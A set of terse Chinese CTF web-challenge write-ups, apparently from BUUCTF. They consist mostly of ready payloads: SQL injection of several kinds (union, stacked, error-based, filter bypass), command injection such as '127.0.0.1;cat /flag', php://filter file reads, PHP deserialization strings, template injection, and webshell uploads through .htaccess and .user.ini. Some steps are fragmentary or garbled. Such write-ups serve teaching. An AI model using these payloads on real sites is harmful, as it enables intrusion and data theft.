输入用户名admin,密码用一个万能密码如1’ or '1,即可获得flag
根据代码要求,输入source.php?file=hint.php?ffffllllaaaagggg
发现此时图片不见了,说明输入有效,但并没有flag
所以flag可能不在当前目录
尝试加入…/遍历目录
直到输入source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg时flag出现
查看源代码发现没有东西,想办法查看flag.php文件
利用php://filter,输入/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php经过base64编码后的内容
输入127.0.0.1;ls / ,利用;来输入cmd命令
发现flag文件,输入127.0.0.1;cat /flag 进行查看,得到flag
输入1’回显错误,输入1’ or ‘1’=‘1回显正常,判断是字符型注入
猜测字段数,输入到1’ order by 3#时报错,则字段数为2
查询数据库名,输入1’ union select 1,2#,发现回显大量过滤
成功回显,说明存在堆叠注入
查看表,输入1’;show tables;#
查看words,输入输入1’; show columns from words
; #
注:使用的是(Esc下的键),用于数据库、表、索引、列和别名用的引用
查看1919810931114514,输入1’; show columns from 1919810931114514
; #
发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名
输入1’;rename table words
to word
;rename table 1919810931114514
to words
;alter table words
change flag
id
varchar(100);show columns from words;#
发现是整数型后,无论输什么都是nonono,尝试堆叠注入
输入1;show databases;#
输入1;show tables;#
输入1;show columns from Flag;#
结果回显nonono,可能存在过滤
猜测查询语句为:select “.$post[‘query’].”||flag from Flag
则输入*,1 即select *,1||flag from Flag;
这样就得到了Flag的所有字段
输入/?ip=127.0.0.1成功回显
使用;作为分割符,输入/?ip=127.0.0.1;ls
看到flag.php,输入/?ip=127.0.0.1;cat flag.php,
猜测可能是空格被过滤了,这里使用<来绕过,输入/?ip=127.0.0.1;cat
显示flag被过滤,使用’'来绕过
好,又被过滤了,那我们看一下index.php
发现好多字符被过滤和一个变量a
构造payload:/?ip=127.0.0.1;a=g;cat$IFS 9 f l a 9fla 9flaa.php
查看源码,得到flag
查看源码,发现./Archive_room.php
点击查看,发现./action.php点击查看,发现“查阅结束”
在secret递交时抓包发现提示secr3t.php
查看secr3t.php,发现提示 flag放在了flag.php里
查看flag.php,源码也没有信息
利用php://filter,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
将这段乱码进行base64解码,得到flag
使用万能密码,回显有误
这里说使用sqlmap是没有灵魂的
先判断字段数,发现字段数为3
查询数据库名
1’ union select 1,2,database()#
查询数据库表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#
查询l0ve1ysq1表的字段名
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#
查询字段
1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
发现flag
提示使用菜刀,不过这里我选择使用蚁剑
说明我们应该来自https://Sycsecret.buuoj.cn,抓包,修改Referer
要求使用Syclover浏览器,将User-Agent改成Syclover
要求只能进行本地访问,添加X-Forwarded-For:127.0.0.1
成功得到flag
这里用bq抓包,修改文件格式image/jpeg和文件后缀phtml并在代码前加一个图片文件头GIF 89A进行欺骗
发现
上传一个木马.php文件试试
修改文件后缀为.png,上传
抓包,在bp里修改为.phtml
使用双写绕过1’ oorrder bbyy 1#,得到字段数为3
接下来爆字段位置,输入1’ union select 1,2,3#,发现过滤
双写绕过:1’ ununionion selselectect 1,2,3#
查数据库名:1’ ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #
查表名:1’ ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#
查字段名:1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#
查字段值:1’ ununionion selselectect 1,2,flag frfromom ctf.Flag#
使用dirsearch扫描网站目录,发现www.zip,打开
查看index.php,发现class.php和一个php反序列化函数unserialize()
构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;},获得flag
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。
构造payload:/calc.php? num=1;var_dump(scandir(chr(47)))
发现flag
构造payload:/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag
用dirsearch扫描目录
发现index.php.bak
key必须是整数,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
php == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较。如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行(从开头转数字)
即key=123
得到flag
password不能是数字且要==404,所以password可以为404+任意字符,
用bp抓包,修改包使其满足:是cuit的学生,以post方式传参,正确password(404abc),100000000 Money(1e8)
得到flag
将filehash去掉访问,发现
根据render,使用模板注入,构造payload:/error?msg={{handler.settings}}
记忆:handler.settings存放cookie_secret
发现cookie_secret:e6b7327c-a131-4e93-92d2-a673ced3a087,
构造filehash:md5(cookie_secret+md5(filename)),而已知filename为/fllllllllllllag
进行MD5加密得:6b31d8e5baf98dd20b879a95d24428f5
构造payload:/file?filename=/fllllllllllllag&filehash=6b31d8e5baf98dd20b879a95d24428f5
使用admin,123成功登进得到flag
------------------------------------------------------------------------------------------------------------------------
进入change password发现一个网址
在该项目路由文件中发现strlower()函数,其中调用了nodeprep.prepare函数,nodeprep.prepare函数会将unicode字符ᴬ转换成A,A再调用一次nodeprep.prepare函数会把A转换成a,而strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。
那么就可以使用字符ᴬdmin进行注册,然后修改一次密码,再重新登陆就能得到flag
查看源代码,没有东西,输个1试试,没有回显
抓个包看看
发现提示Hint: select * from ‘admin’ where password=md5($pass,true)
即需要password=md5($pass,true)条件为真时,才会执行select * form admin
当参数为true是显示的是原始 16 字符二进制格式
构造or来绕过password,md5(ffifdyop,true)='or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
输入ffifdyop后,出现
查看源码
这里是弱类型,只要使得加密后的值开头都为0e则会视为相等
构造payload:/levels91.php?a=s878926199a&b=s155964671a
这里是===,用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立
post:param1[]=1¶m2[]=2,得到flag
使用php伪协议,构造data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码,构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,还有一个参数file,使用php伪协议,构造file=php://filter/read=convert.base64-encode/resource=useless.php
得到
base64解码得:
又经过password反序列化,构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
上传木马文件失败,考虑使用.htaccess文件,来改变文件扩展名,先上传.htaccess,然后上传木马文件
抓包,修改Content-Type:image/png
上传成功,接着上传.png木马文件,同样修改文件类型
上传成功
发现很多字符都被过滤,但是会有报错,这里决定使用报错注入
利用UPDATEXML (XML_document, XPath_string, new_value)函数
爆库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
得到geek
爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=1
得到H4rDsq1
爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=1
得到id,username,password
爆字段值:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1 与?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1得到的值进行拼接,得到flag
创建.user.ini文件构成PHP后门,使用GIF绕过文件类型检测
先上传.user.ini,意思是当前目录中的php文件会自动去包含1s.png中的文件内容,而文件包含有一个特点就是能无条件解析php代码。所以我们再上传一张图片马1s.png,就能利用已经存在的php文件去包含图片马进而解析
用蚁剑连接,得到flag
查看源代码
观察代码(强弱类型)
1.这里的id与gg需要是数组,以此来满足要求
2.post传参,passwd不能为数字但要==1234567,即可以是1234567a
得到flag
题目源码:
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
主要就是要让op弱等于‘2’且强不等于‘2’,从而进入到process(),利用第二步读flag.php
利用数字2绕过
写payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
开始测试
wrong user!和wrong pass! 且发现提示,使用base32+base64解码得:select * from user where username = ‘$name’
则可知注入点应为admin,开始注入:
admin’ order by 3–+
猜测存在过滤,测试发现可能是or被过滤,直接union select:
admin’ union select 1,2,3–+
admin’ union select 1,2,3,4–+
则字段数为3
经过测试发现()也被过滤,使用bp在name处扫了一下sql字典,发现如下过滤:
查看源码:
直接利用数组绕过md5
上传该木马的jpg文件成功
还需再上传一个.htaccess文件以解析
抓包修改文件格式,成功上传
连蚁剑,读flag
发现过滤
于是采用堆叠注入
1’;show databases;–+
1’;show tables;–+
1’;desc FlagHere;–+
使用Handler绕过select过滤
handler users open as xx; #指定表载入并重命名
handler xx read first; #读取指定表的首行数据
handler xx read next; #读取指定表的下一行数据
handler xx close; #关闭句柄
payload:
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;–+